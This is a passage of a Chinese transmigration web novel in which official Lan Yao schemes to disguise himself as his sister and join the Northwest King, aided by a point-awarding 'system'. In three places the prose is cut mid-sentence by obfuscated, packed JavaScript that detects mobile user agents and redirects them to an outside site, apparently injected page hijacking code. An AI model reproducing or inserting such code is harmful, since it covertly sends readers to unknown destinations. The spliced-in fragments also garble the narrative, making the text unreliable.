“去岁臣厘清赋税时,收缴了许多东西,值价的都已换成了钱粮,如今御库里还剩下十几箱残破的书籍和布匹。陛下不如就把那些物件当做添妆,不值什么钱,又有排场,只要是陛下御赐,对阿妹来说就是莫大的殊荣了。” “兰卿啊!”正立帝感动到扶案起身,“你真是朕的肱骨之臣!” 要是满朝都是这么既忠于天子、厌恶谢禛,又懂事不花他钱的大臣,那该有多好! 4. 寡王 “小郎君!”守在宫城外的捉刀看到兰遥出来,忙让车夫把牛车赶过去,压低声音兴奋地说,“我刚才看到了传旨的内侍,据说陛下把主君和西北王使臣从牢里放出来了。” “小郎君,您真是太厉害了!” 昨天朝中噩耗传来,兰家仆役们觉得天都塌了,不料想小郎君进宫不到半个时辰,就救出了主君,连西北王使臣也被释放了。 捉刀与有荣焉地想,小郎君真不愧是外面人口中筹算无双的名士! 兰遥笑而不语,他今日能成功,主要是抓住了正立帝“只要和谢稹不对付就大善”的心理,以及并没有让正立帝实际损失什么。 如果再过些时日,正立帝冷静下来,或许会意识到自己今日被兰遥牵着鼻子走了,但那个时候,兰遥早就“出嫁”了,他怎么想都没有关系。 “小郎君,我们回府去见主君吗?”坐上牛车后,捉刀给车内小熏笼里加了些炭火,向兰遥请示。 “不急,我们先去一趟魏家酒垆。” 魏家酒垆坐落在建康城繁华处,偌大一个临街店面,横窗从内推开,有头戴荆钗的妇人当垆卖酒,后面还有一座大堂和几间小室,多掏几十枚五铢钱就能坐下畅饮一番。 今日是新年伊始,一年中最大的节日,魏家酒垆外买酒的人很多,兰遥看见买酒的人大多拿着米或布,若是用五铢钱,就要比正常价贵个几成。 兰遥刚走进酒垆,一个长相与黄稚有几分相似的少年就迎了上来。 “小郎君快来,阿父已经按吩咐请人过来了。” 兰遥让捉刀守在外面,对少年笑道,“你可是稚叔家的阿玄?” 少年不好意思地摸了下后脑勺,“小郎君居然知道我,我是黄玄,是阿父的长子。” 兰遥心想当然知道,他虽无法清晰记起所有原书剧情,但像黄玄这样的重要人物,他是不会忽略的。 《纵横问鼎》庞大的书粉群体曾举办过多次大规模投票,将书中出现过的文臣武将们分几个维度排名。 黄稚的排名一直稳定在“武”榜前十,而他的长子黄玄排名还要在他之上,一度是霍元骞手下最强力的先锋。 现在的黄玄只有十五岁,还不到原书中的全盛状态,但就算这样,他的武艺也已经超过世上绝大部分人了。 兰遥与黄玄一起走入酒垆后堂隔出的小室,黄稚起身迎接,他身边一位穿着朴素衣袍的中年男子也跟着站起来。 “小郎君,这位就是您吩咐我守在大狱外请来的西北王使臣,凉州主簿常珙。” 兰遥看向黄稚身边的人,那人神情憔悴,头发和胡须有些凌乱,却神采巍然,冲兰遥拱手行礼道,“常珙多谢兰度支郎出手搭救。” 常珙,兰遥在心里念了一遍这个名字,觉得对方长得很符合自己心中的形象。 常珙此人,只在原书中正面出场过一章,但只要看过《纵横问鼎》的人,都一定对他印象深刻。 《纵横问鼎》这部长达数千章的长篇大作,开篇于南兴立都第十七年元日。 西北王使臣常珙带着一丝微弱的希望,从遥远的凉州一路快马来到都城建康。 这是他第一次见识都城的繁华,他一步步走入奢靡的宫城,在巍峨庄严的大殿中下拜,皇位上高高坐着的人却毫不关心摇摇欲坠的凉州,只为没有见到异域美人愤怒。 提起消失的粮草、战死沙场的上任西北王和惨不忍睹的凉州百姓,满朝文武支支吾吾,闭口不谈,常珙悲切的振声言语成了无人搭理的笑话。 孤立无援的常珙站在原地悲声大笑,满殿如神佛般衣冠华美的士大夫一个个躲避着他的目光,他吸了口气,做了一个决绝的决定,他要彻底激怒皇帝,用自己的死亡为西北王积累政治和道德资本。 不料御史大夫兰博蕴的极力劝阻,暂时保住了他的性命,但对常珙而言,他已经认准了该如何使用自己的生命。 元日这天,常珙向正立帝上书认罪,并说手中有稀世天山美玉想要进献圣上,正立帝龙颜大悦,下旨释放常珙。 常珙面色平静地离开监牢,建康城中节日气氛正浓,满目的鲜艳绢绸和华丽牛车,让他想起出发前凉州父老们无法蔽体的衣衫。 在元日热闹的大街上,当着无数来往百姓和达官贵人的面,常珙口中高呼三遍“天子不仁,亏杀子侄;苍天无情,百姓何辜!”,一头撞死在前来阻止的兵卒的长刀上。 那一章的名字,叫“血溅建康”。 那是霍元骞争霸之路的起点。 兰遥回忆着剧情,轻轻叹了一声,《纵横问鼎》每一次投票,常珙都以一章的剧情量在“义”榜上名列第一,可见其形象之深入人心。 常珙的死亡确实给霍元骞带来了初期反抗朝廷的道德资本,但在兰遥看来,这么使用人才,实在是浪费,无论是出于对常珙的敬重,还是出于未来考量,这一次兰遥都要救下他。 “兰度支郎为何叹气?” “天子糊涂,凉州十室九空,千里无鸡鸣,我是替凉州百姓还有常主簿难过啊。” 常珙嘴角僵硬地动了一下,“常珙与家乡父老受承昭太子一脉庇护之恩,愿为西北王效死,只是连累了令妹……” 想到那个赐婚,常珙一时不知该说什么,在他看来,自家主公骁勇善战、心系百姓,虽然脾气燥了些,但也是位不可多得的明主。 可千娇百宠的建康贵女嫁去贫瘠的凉州,怎么看都不是门好婚事,确实是委屈兰家女郎了。 兰遥示意众人重新坐下,斟了一杯甜酒,侧坐着浅酌,“不瞒常主簿,兰家不愿意将家妹嫁去凉州。” 这话太直白了些,常珙苦笑,“若陛下愿意收回旨意,凉州绝不阻拦。” “常主簿别急,我还没说完。”兰遥放下酒杯,笑意吟吟地看向常珙,“兰家愿意送一位谋士去凉州。” “……”常珙淡定的表情出现一丝裂痕,微微内凹的脸颊抖动了几下,“度支郎是想……投奔西北王?” “常主簿觉得兰遥可有资质在西北王麾下效力?” “……”常珙心脏狂跳,激动到说不出话来。 有,不能更有了! 凉州久经战乱,现在是缺人缺粮缺钱什么都缺,西北王麾下正经文臣数不出五位,能看懂字就可以混个小官,派出去做事。 像兰遥这样出身高贵,定品上上,素有美名的文臣愿意投奔凉州做谋士,常珙做梦都能笑醒。 “只是……度支郎身在建康,乃朝廷命官,如何去凉州?”常珙眉头紧锁,这事若被正立帝知道,他绝不会善罢甘休的。 “这个简单。”兰遥轻飘飘地说,“我近来头疾难耐,打算过几日辞官陪母亲回颍川探亲,在颍川闭门静养。” 常珙眉头没有松开,“虽是静养,但兰度支郎名声在外,怕是会有不少士人慕名拜会,您打算如何长久瞒下去?” “常主簿可知道,我与阿妹同胞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17159601|196584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而生,面容相似?” “这?” 兰遥意味深长地说,“到时候,我们兄妹二人,一个会在颍川静养,一个会在凉州做‘西北王妃’和谋士。” 常珙下意识仔细观察兰遥的脸,手执酒壶的青年肤白胜雪,明眸修眉,容止闲雅,当真是一副雌雄莫辨的天赐好容颜。 “这、岂不唐突了兰度支郎……” “成大事者不拘小节,待主公乘风而起,我再恢复身份也不迟。” 兰遥想得很开,历史上那些最终功成名就的王侯将相,在危难之际有受胯下之辱的,有装疯卖傻的,有吃排泄物的……他只需要在一些时候扮成妹妹,对比下来已经很轻松了。 而且霍元骞是个超级寡王,原书一千多章的内容里,他不是在打天下,就是在打天下的路上,连一个红颜知己都没有,名义上关系最近的女性居然是开篇就病逝的兰家未婚王妃,最后更是直接立了兄长的儿子为太子。 因此,兰遥完全不用担心遇到难缠的后宅问题,只要对外演好戏就够了。 至于某些小众方面的安全问题,兰遥脑子里闪了一下,很快就抛到了角落。 开玩笑,正统男频龙傲天主角怎么可能对男人有兴趣,霍元骞绝对和他一样,是24k纯直男! “常主簿,事情已经说定,我这里有一封书信想送给主公,能否请你也修书一封一起送去,证明我所言非虚?”兰遥非常自然地叫起了“主公”。 旁听的黄玄恍然大悟,“阿父昨夜回田庄后叫我过去,让我准备去凉州送信,原来是这么回事。” 黄稚敲了下他的脑袋,“小郎君,犬子虽年少,但武艺不错,且有几分急智,您昨日说要找一位可信之人去凉州送信,我看他正合适。” 兰遥微笑颔首,“阿玄的武艺我信得过,凉州天寒路远,一路有不少流民与匪寇,切记小心。” 常珙眼中闪过几分挣扎,兰遥看向他,直言不讳,“常主簿,我曾听过一句俗语,‘留得青山在,不怕没柴烧’,凉州正是百废待兴之时,人才难得,你好好回去的价值要比死在建康更大。” 常珙没想到兰遥居然轻松看穿了自己原本的打算,心中惊动,愈发佩服起这位年轻的度支郎,忍不住期待有他在的凉州会变成什么样子。 原书中常珙毅然选择死亡,是真的走投无路,看不到其他的希望,如今有了兰遥的加入,常珙心里有了期盼,想开后选择自然也就不同了。 “让兰度支郎见笑了,不知此处可有纸笔,我这就修书请黄小郎君一起送给主公!” 兰遥微笑着把捉刀唤进来,让他把外面牛车上准备好的物品全部取来,除了纸笔,还有替换衣物、几吊五铢钱、干粮、肉干和应急的药丸,这些是为送信人准备的盘缠。 黄玄提着肉干摩拳擦掌,“小郎君真是算无遗漏啊!” “只是喜欢提前做准备而已。”兰遥封好常珙的书信,连同自己的信一起交给黄玄,再次叮嘱,“辛苦阿玄了,兵贵神速,一定要快。” “小郎君放心,田庄上已经准备好了良马,我这就出发!” …… 与常珙和黄家父子告别后,为了不引人注意,兰遥先行一步,乘坐牛车回兰府。 车内有熏笼,温度舒适,今日早起后忙了半日,兰遥靠在轻微摇晃的车壁上闭目养神,思索下一步应该做什么。 突然,他的耳边响起了虚幻的系统积分增加一分的提示音。 5. 君臣父子 怎么回事,终于出现除每日签到之外的积分获取途径了? 兰遥打开系统面板查看,发现自己的积分变成了11分,积分收支记录里多了一行字——“每日与霍元骞沟通交流,积分+1”。 兰遥眉头不自觉蹙起,分析起这次积分增加背后的逻辑。 首先,他给霍元骞送信的行为被判定成了与霍元骞沟通交流,而信还没有真正送到,也就是说判定主体在他这边,只要他做出了相应行为,哪怕霍元骞暂时没有收到,也不影响积分增加。 其次,这似乎是一个每日任务,也就是说,他每天都可以靠完成这个任务获取一积分,至于有没有其他类似的每日任务,还得慢慢尝试。 兰遥用户扇轻轻点着臂弯,思维进一步发散。 为什么系统会出现和霍元骞有关的任务,还是每日日常,难道因为霍元骞是这个世界的天命之子吗? 说起来,这个系统的名字好像就叫“天命”,或许系统的目的是通过设置此类任务,让他与霍元骞搞好关系,辅佐天命之子走上人生巅峰,看来去霍元骞麾下做谋士这步棋是走对了。 兰遥自觉想通了系统的逻辑,放下心来,继续闭目养神。 平稳的牛车一路前行,一刻钟后回到了兰府,兰遥踏入府门,来不及回自己院子把官袍换掉,就见母亲身边的傅婢常乐匆匆走来。 “小郎君,主君和主母在主院等小郎君过去。” 兰遥想了一下,“是阿母让你唤我过去的吗?” 常乐面色如常,“小郎君过去就知道了。” 兰遥叹了口气,只好转道走向主院,主院里伺候的仆役早就全部退出去了,院子里静悄悄的,几堆残雪堆在梅树下,在阳光中晶莹闪烁。 兰遥揭开正房的毡帘,入目就是一张摆在门口的坐榻,母亲荀愿君坐在榻上,手边放着一把已经出鞘的宝剑。 视线再往里看,屋内摆了十几个大箱子,全部贴着御库的封条,是兰遥从正立帝手中讨来的“嫁妆”。 而父亲兰博蕴就坐在上首的榻上,与母亲相隔了整间屋子和一堆箱子对峙,两人都冷着脸一言不发,空气中隐隐涌动着暗潮。 “阿父,阿母,我从宫中回来了。” “兰遥!”兰博蕴胡须猛烈抖动,深吸几口气,痛心疾首道,“为父昔日是如何教导你的,你、你怎可行此欺君之事!” 兰遥面色平静,甚至还带着几分笑意,“那阿父就送我和阿母、阿妹去死吧。” “你!”兰博蕴身体一震,“何至于此……” “阿妹的身体如何,阿父难道不清楚吗,这个季节她怎么可能活着走到凉州,皇帝就是想让她去死。” “阿妹若离世,阿母必定心死如灰,无法独活,我也会拼死为她们复仇,到时候,兰家便只剩阿父活着了。” 兰博蕴听到如此大逆不道的言语,怒斥道,“荒唐,就算如此,君叫臣死,臣不得不死,你食君之禄,怎么敢、怎么敢——” “我打算辞官了,况且比起满朝尸位素餐之徒,我足够对得起朝廷发我的几石俸禄。” “不过,我倒有几个疑问想请教阿父。” 兰博蕴太阳穴突突跳,好像第一次看清了这个让自己骄傲不已的麒麟儿,“你讲!” “官员俸禄中的粮食与布匹,是百姓耕织所得,还是皇帝耕织所得?” “是百姓耕织后交税给朝廷,收入陛下库中,再发放给朝中官员。” “百姓终年辛苦劳作,依旧食不果腹,衣不蔽体,为何要把自己辛劳所得交给不事生产者?” “……因为普天之下,莫非王土,他们是在朝廷的土地上耕种。” 兰遥轻笑,“若真如此,世上就不会有朝代更迭,江北那大片兴朝的国土,也不会被匈奴占去。” 兰博蕴吸了口气,目光发沉,他隐隐从儿子的话语中意识到了他想表达怎样惊世骇俗的想法。 “阿父,在我看来,百姓交税给朝廷,是想让朝廷保护自己安居乐业,不被流寇侵扰,不被异族欺辱,若朝廷做不到,若那些领俸禄的文臣武将只知享乐,他们就不配取用百姓的赋税。” “我不是食君之禄,我是食禄于民,也只需忠心于民。” 这些疑问和思考已经在兰遥心中积压了很多年,每当看到高官厚禄者尸位素餐,辛苦耕作者流离失所,他都会感到迷茫与愤怒。 回忆起现代记忆后,在后世无数能人志士思想的淬炼下,兰遥终于完成了内心价值观的逻辑闭环。 “……” 兰博蕴沉默的有些久,他并不是一个十足的坏人,在如今的兴朝,他绝对称得上一位做实事的清官。 但他实在是太迂腐和固执了,忠君的思想钢印牢牢打在他脑海里,控制住了他所有的思想和行为。 兰遥不想和父亲闹得这么难看,可生死存亡之际,有些话他不得不说,就算不能轻易改变兰博蕴的想法,也要给他心里种下一枚种子。 “我少有才名,二十年前被中正官举荐入朝,定品上上,先帝亲自召见我,赐我玉带紫袍,命我教导小皇子学问。那个时候,长安尚在。” 兰博蕴定定看着从窗纸外透进来的浅淡阳光,“先帝对我有知遇之恩,我不能弃陛下不顾。” 兰遥看着父亲,“先帝立的储君是承昭太子,他在世时从未说过小皇子有资质登临大位吧。” 兰博蕴痛苦地闭上眼睛,“可承昭太子已经薨逝十七年了!若承昭太子尚在,兴朝何至于此!” 承昭太子,是霍元骞的父亲,他是先帝的嫡长子,虚怀若谷、文武双全,早早就被立为储君。 十八年前匈奴攻破长安,兴朝帝后一起殉国,承昭太子率兵出城破敌,后路被断,没有跟上渡江南下的大部队,只能携残部辗转撤离到西北凉州一带,因为身负重伤,第二年便不治而亡。 承昭太子薨逝的消息传来后,长公主和大将军谢稹率领朝臣,在建康拥立随他们南下的小皇子为帝,就是如今皇位上的南兴正立帝。 可以说,正立帝的登基并没有那么“名正言顺”,为了拉拢人心,他登基后开始大封宗室王,一定程度上加剧了天下大乱的进程。 其中承昭太子的长子霍元致被隔代封为西北王,封地凉州,他战死沙场后,这个王位落在了霍元骞身上。 “皇帝得位不正,德行有亏,各路宗室王蠢蠢欲动,数州流民聚集成军,天下乱象将起,阿父, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17159602|196584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 此乃天命,非人力可阻。” 兰博蕴浑身一震,兰遥直视着他的眼睛,一字一句道,“我要为家人谋一个出路,也要为天下百姓谋一个新的盛世,此举亦无人可阻。” “阿父大可论我的是非对错,而我只在乎实实在在的东西。” “你!你……”兰博蕴一时说不出话来,他坚持了几十年的东西好像被儿子全部打碎了。 一直静静听着这对父子辩道的荀愿君突然开口,“禽兽尚知护巢,庶人尚知爱子,我荀愿君却嫁了个不如它们的士大夫。” 兰博蕴的脊背骤然塌了下去,被妻子说得满脸惭色,好像一下子被从朝臣、忠君、天下的宏大叙事中拽了出来,成了一个无颜面对自己妻儿的普通人。 微小的灰尘在阳光中静静流淌,良久之后,兰博蕴疲惫地开口,“我从今日起病了,你们去做想做的事吧,我什么都不知道,也不会管。我会留在建康,与陛下共存亡。” “……” 兰遥转头看向母亲,他心里清楚,改变一个固执的人很难,这已经是父亲目前能做出的最大让步了。 荀愿君拿起那柄随自己出嫁的宝剑,将剑合入剑鞘,一步步走到兰博蕴身前,“如此,二十年夫妻自此相别,郎君珍重。” 兰遥悄然离开了主院,将空间留给父母,在这些私事上,除了当事人自己,没有人可以说得清辨得明,作为子女最好不要掺和。 兰遥回到自己院中换下官袍,去旁边的院子看妹妹,兰晚听到他来了,踩着鞋子一路从廊下跑到院门口,短短十几步路就气喘吁吁。 “慢些、慢些。”兰遥无奈,“阿晚,该稳重些了。” 兰晚抿嘴一笑,“阿兄来得正好,我有东西要请阿兄试试。” “不会又是你加了许多奇怪东西的茶汤吧?” 兰晚自幼把汤药当水喝,药膳食补也日日不离,久而久之,她竟养成了研究稀奇古怪茶汤的爱好,煮茶时什么都想加进去试试,兰遥作为试验对象深受其害。 兰晚佯装委屈,“我只是想帮阿兄调理身体。” 兰遥回忆起上次那壶加了花椒、大料和陈皮的茶汤,带上了痛苦面具。 虽然兴朝目前不流行清茶,大家的茶汤里都会加香料,有的还会加主食,但配方如兰晚一样“新奇”的还是少数。 兰遥忐忑地被兰晚拉入屋中,其他仆役都退下了,屋里只留了兰晚的贴身傅婢常安,兰遥看到常安手边装衣饰的大藤箱,心里涌起不妙的预感。 “阿兄,常安细心谨慎,是阿母从荀氏带来的傅婢,我和阿母商量过了,到时候让她随你去凉州,这样方便一些。” “今早我和常安整理出一箱我没有穿过的衣裳,还有我常用的首饰,阿兄来试试吧。” 兰遥被妹妹殷切地推到藤箱边上,兰晚踮着脚尖快走几步,又取来一匣首饰塞进他怀里。 “女子衣饰与男子有许多不同,阿兄不提前试试怎么会穿呢?” “我看这身柳绿色的九破缘褶裙最衬阿兄,配一条珍珠络子更佳,就先试它吧!” “……” 看着兰晚雀跃期待的样子,兰遥很想问一句——妹啊,你没有觉醒什么奇怪的属性吧? 6. 女装 穿女装没什么羞耻的,兰遥告诉自己,这是为了事业,何况兴朝男子服饰也有上襦下裙的穿法,只不过细节不同而已。 ——如果没有兰晚和常安眼神亮晶晶地围着自己,一边梳妆一边讨论,不时发出一声小小的“哇”的话。 “阿兄的头发比我更黑亮柔顺。”兰晚拿着一对鹿角金步摇在兰遥头发上比划。 常安利落地给兰遥挽了个双鬟飞天髻,赞同地说,“女郎夜里早些歇息,头发一定更柔顺。” 兰晚假装没听到,“我看头饰尚有些单调,再配一条五色丝绦系在双鬟上吧。” “女郎体弱,没舍得打耳环洞,倒是方便了小郎君,可惜少了几分点缀。” “没关系,阿兄和我一样天生丽质。” 兰晚笑着搬来案几上光亮的铜镜,放在兰遥面前,“阿兄快看,这样打扮好不好?” “哦。”兰遥生无可恋地半闭着眼,“我不看。” “阿兄!” 兰遥叹了口气睁开眼,骤然与铜镜中发髻优美、首饰华丽、清丽绰约的“美人”对视,一时竟愣住了。 虽然一直被外界夸赞“美姿貌、雅仪容”,但兰遥本身对自己的长相没什么概念,此时换上一身陌生的装扮,竟有些不敢认镜中人是谁。 兰晚凑在兰遥边上,“常安快看,我和阿兄像不像?” 常安退开两步看了一会儿,摇头笑道,“像又不像,小郎君像芙蓉,女郎像海棠。” 兰晚满意这个说辞,又端详了一番自家阿兄,“我平日不抹粉,阿兄也用不着,但是眉毛要简单描画一番,还有口脂……” “女郎,主母命人把陛下御赐的嫁妆搬到女郎院中。” 外头仆役通传的声音拯救了兰遥,兰晚在地上转了半圈,见收拾不及,悄悄溜到屏风后面躲了起来,兰遥没拉住她,只能无奈地继续坐在榻上。 搬运箱子的仆役们没有人觉得女郎院中今日有什么不对,他们小心翼翼脱掉鞋子,走入室内,女郎正坐在窗边梳妆,静静地看着他们忙碌,像一株遗世独立的花树,让人下意识避开视线,不敢多瞧。 十七个大箱子全部搬进来后,女郎身边的傅婢常安清点了一下数量,向女郎禀报,女郎轻轻嗯了一声,他们便又安静地退下了。 等院中重归安静,并膝端正跪坐在坐榻上的“女郎”才开口说话,“阿晚,你可以出来了。” 兰晚笑着从屏风后走出来,捂着心口说,“阿兄学我学得真像,哎呦不行了,不能再笑了,心口好疼。” 兰遥嘶了一声,又叹了出来。兰晚虽体弱多病,却不是柔弱文静的性子,相反她性格活泼,爱说爱笑,只是受制于身体条件,很多喜欢做的事都做不了。 不知道系统一直进阶下去,未来有没有治好阿晚的病的方法…… “阿兄,你为何要和皇帝讨这么多破烂的书简?”兰晚好奇地打开最上面的箱子,取出一册翻阅,“这不是人人都有的老庄吗,绳编都断了好多,御库里居然还有这么破旧的东西。” 兴朝正处于纸张和竹简交替的时期,御库送来的书有的是纸册,有的是竹简,但无一例外都又残又破。 兰遥起身过去,和兰晚一起翻看,“如果是新书,皇帝不会答应全给我的。” 说起来,这些书还是兰遥亲手查收上来后,亲自送入御库的。 当初他作为度支郎厘清赋税,查出了许多交税造假和私藏隐户的罪证,那些建康附近的达官贵人见他不肯徇私情,索性把钱粮都藏了起来,摆出一副无赖样,让他找不到东西收税。 兰遥也不惯着,一意孤行到底,钱藏起来了就拉走牛车,粮不见了就扫荡书库,还有玉石、首饰、器具,看到什么拿走什么,要么东西别要了,要么拿钱粮布匹来交税换回去。 这样折腾了一个多月,兰遥总算是收上了七八成建康附近区域被偷漏掉的赋税,手里还剩下十几箱既卖不出价,也没人来赎买的书籍和虫蛀布。 他把这些东西送入御库时,管理御库的官员和内侍查验箱内物品,脸色一个比一个奇异。 兰遥猜他们心里怕是想说——兰度支郎,御库不是收破烂的,不换不锈钢盆。 破烂是破烂,用对地方也能变废为宝。 “这里共有书册四十八套、二百三十七本,还有虫蛀坏布一百三十匹。”虽然已经过去了一年时间,但兰遥仍清晰记得所有东西的具体数目。 “在建康无人想要的东西,在凉州却有大用处。” 兰遥仔细分析过,争霸天下最重要的两点一是军事,二是民生。 前者他既不通武艺,又没学过兵法,还是不要纸上谈兵的好,老老实实让天生杀神霍元骞带着他的武将天团们攻城掠地。 后者才是他大展拳脚的地方。 如果一个势力有坚固的城池,有充盈的粮仓,兵卒们武器锋利、甲胄牢固,百姓们耕种织造、安居乐业,那它一定会不断吸引人投靠,改变整个天下的格局。 当书中世界变成现实,兰遥希望原著那十室九空的乱世结束的尽可能快一些。 从正立帝手上要到的这些“嫁妆”,就是他开展民生工作的起步资源,虽然对偌大的凉州而言,它们的数量并不多,但书籍可以抄写,虫蛀布可以修补做衣衫。 最关键的是,这可是免费的羊毛,顶着御赐的名头,也不用担心被人拦截! “我明白了阿兄,我和你一起把这些书籍与布匹重新清点一下吧。” 兰遥颔首,“出嫁之日在五日后,时间紧迫,麻烦阿晚了。” “五日之后……”兰晚的情绪肉眼可见低落下去,又强撑着打起精神,“听说凉州缺衣少粮,阿兄要为凉州谋划,可要再多带些粮食与布匹?” 兰遥摇头,“我倒是想,但去凉州路途遥远,沿途有许多流民与匪寇,带太多粮食不一定护得住,而且我觉得,谢氏可不会轻易让我们带大批粮草与物资去凉州。” 带一百斛粮食可以说兰家怕女郎和随从在路上饿到,带一万斛是想做什么?女郎是大胃王吗? 兰遥可不想功亏一篑,不想在自己和母亲、妹妹离开建康前,发生意外被留住走不了。 不过……兰遥想起了自己的空间,如果把物品装在空间里,就可以神不知鬼不觉、毫无损伤地带到凉州了。 可惜他的空间只有一立方米,放粮食放不下三石,其他东西也装不了多少,完全是杯水车薪。 兰遥把身上的衣饰换回来,一边和妹妹一起整理箱子中的东西,一边抽出心神思考用空间装什么才能利益最大化。 要不太占地方、采买不会引起别人怀疑,并且价值够高,可以发挥重要作用,或能换取其他珍贵物品。 兰遥脑海里不断闪过选项,又被一一否定,金银虽好,但在边陲之地,人们更喜欢实用的东西,金石古玩亦是同理…… “小郎君、女郎,你们已经忙了一个多时辰了,先歇一歇吧。” 常安掀起毡帘进屋,手里捧着一尊白玉荷叶高颈盏,里面摆着四枚叠成塔形的橘子,每枚都有半个巴掌大,橘皮饱满鲜亮,散发着一股清香。 “方才有主君的门生送来年礼,礼单中有一小篓涌泉蜜橘,主母说这东西就吃个新鲜,让我给小郎君和女郎送一盏过来。” 兰晚放下手中的书,高兴道,“这可是稀罕物,差点忘了冬日正是吃它的时节,待我净手后剥一枚。” 常安把玉盏小心翼翼摆在案几上,“确实稀罕,我听说,外头一斤涌泉蜜橘要值一斛米,普通人家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17159603|196584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想买还买不到呢。” 古代育种、种植技术低下,储存运输手段更是原始,使橘子这种现代常见的水果变成了奢侈品。 在另一个时空的东汉末年,丹阳太守李衡在武陵种植了一千株橘子树,每年能靠此收入一千匹绢,可见橘子的贵重。 兴朝贵族阶级流行吃橘子,其中以涌泉蜜橘最为闻名,不少名士写诗写文赞颂它,正立帝更是下旨令涌泉每岁进贡蜜橘两千斤,专供皇室享用。 兰遥一边净手一边说,“是很贵,但建康离涌泉不远,又是国都,才能吃上涌泉蜜橘,换成远些的地方,花再多钱也买不到新鲜的……” “阿兄?”兰晚看向声音突然低下去的兄长。 兰遥拿起一枚橘子,在眼前缓缓旋转打量,好像这里面藏着巨大的宝藏。 突然,他开口说道,“阿晚,你喜欢吃橘子,阿兄给你买几百斤涌泉蜜橘好不好?” “啊?”兰晚纤长的睫毛快速眨动,“我要全部吃完吗?” 兰遥轻轻摸了摸她的脑袋,“没关系,吃不完阿兄帮你解决。” …… 建康城兰府接连出了好几件稀罕事。 先是主君触怒圣颜被下了大狱,女郎被赐婚到边陲凉州,大家都以为兰家要倒了,没想到隔日兰家郎君进了趟宫,陛下就把兰御史大夫放了出来,还给兰家女郎赐下十几箱御库中的嫁妆。 这还不算完,第二日,兰府又开始在市面上大量收购涌泉蜜橘,说是自家女郎爱吃,有多少收多少,几乎把建康商贾手里的货收完了。 “好家伙,你看到了吗?一大篓五十斤的橘子,居然换了二十斛米与三十匹绢,老天爷,这哪里是吃果子,这是在吃金子啊!” “你也不想想,兰家女郎这一去凉州,不知道还能不能回来,想吃蜜橘再也吃不到了,兰家疼爱女郎,愿意多买些怎么了?” “就是,上次谢大将军与人斗富,可是撕了足足一千匹素绢,让人铺在路上踩,铺了十里路,这才哪到哪啊!” …… 兰遥不知道外面关于涌泉蜜橘沸沸扬扬的议论,说通母亲买橘子后,他就把采买事务交给了家仆。 晨起洗漱,用过早膳,兰遥来到书房,打算研究一下系统积分问题。 新一天签到后,兰遥的积分来到了十六分,而累计获得五十积分,系统才能够升级,解锁更多功能,所以初期每多一个积分都很重要。 昨日给霍元骞送信,意外触发了加积分的日常任务,兰遥打算试试今天能不能再获得一积分。 他展开纸笔,试着写下一行字——“霍元骞,你好”,等待几秒,系统没有任何动静,看来系统有具体的判定条件,这种敷衍的方式是行不通的。 兰遥想了想,先告诉自己,“我一定会把现在写的信交给霍元骞”,然后又写了一遍相同的内容,依旧没有反应。 难道关键在于任务名中的“沟通交流”?必须向霍元骞传递一些有实际意义的信息,并可预见会得到对方的回应,比如他那封长信,才算是达到任务完成的标准? 兰遥开始在纸上随意书写尝试。 “今日天寒,积雪未消,不知凉州如何?”谈天气没反应。 “主公骁勇善战,定能成就一番伟业。”夸夸没反应。 “我购入了数百斤涌泉蜜橘,使用道法令其新鲜不腐,主公喜欢吃橘子吗?”拉家常没反应。 兰遥吸了口气,这么难沟通是吧,谋士不行那王妃呢?他小怒一下,破罐子破摔写道,“再有月余就能见到夫君了,不知夫君是否期待?” “噌——”一道虚幻的提示音突然在兰遥耳边响起,让他差点没拿稳手中的笔。 那和霍元骞沟通交流的一积分,到账了。 7. 涌泉蜜橘 “小郎君,我们这两日共采买了一千一百六十斤涌泉蜜橘,花费一千斛米,一百二十匹绢与二百匹布,还有十万钱。” 兰遥来到库房,看着整整齐齐摆在地上的十几大筐饱满多汁的橘子,轻轻颔首。 这些布料和米粮已经是兰府超过七成的家底了,若不是荀愿君鼎力支持,兰遥根本无法买这么多涌泉蜜橘。 如果一个现代人在这里,他绝对想不到,这些在现代随处可见的橘子,在这个时代居然如此昂贵! “辛苦了。”兰遥问负责采买的家仆,“五铢钱已经用不出去了吗?” 家仆苦笑,“去岁尚好,今岁那些商贾都不愿收五铢钱了,全都要粮食或绢、布,涌泉蜜橘又不愁卖,我加了几次价,才收来了这些。” 兰遥有些无奈,怨不得商贾们不愿收五铢钱,南兴近几年铸的钱越来越小,过去一枚五铢钱的用料能现在抵三枚,大家又不是傻子。 商贾们走南闯北,消息比达官贵人更流通,乱世将至,只有粮食和布匹才是硬通货。 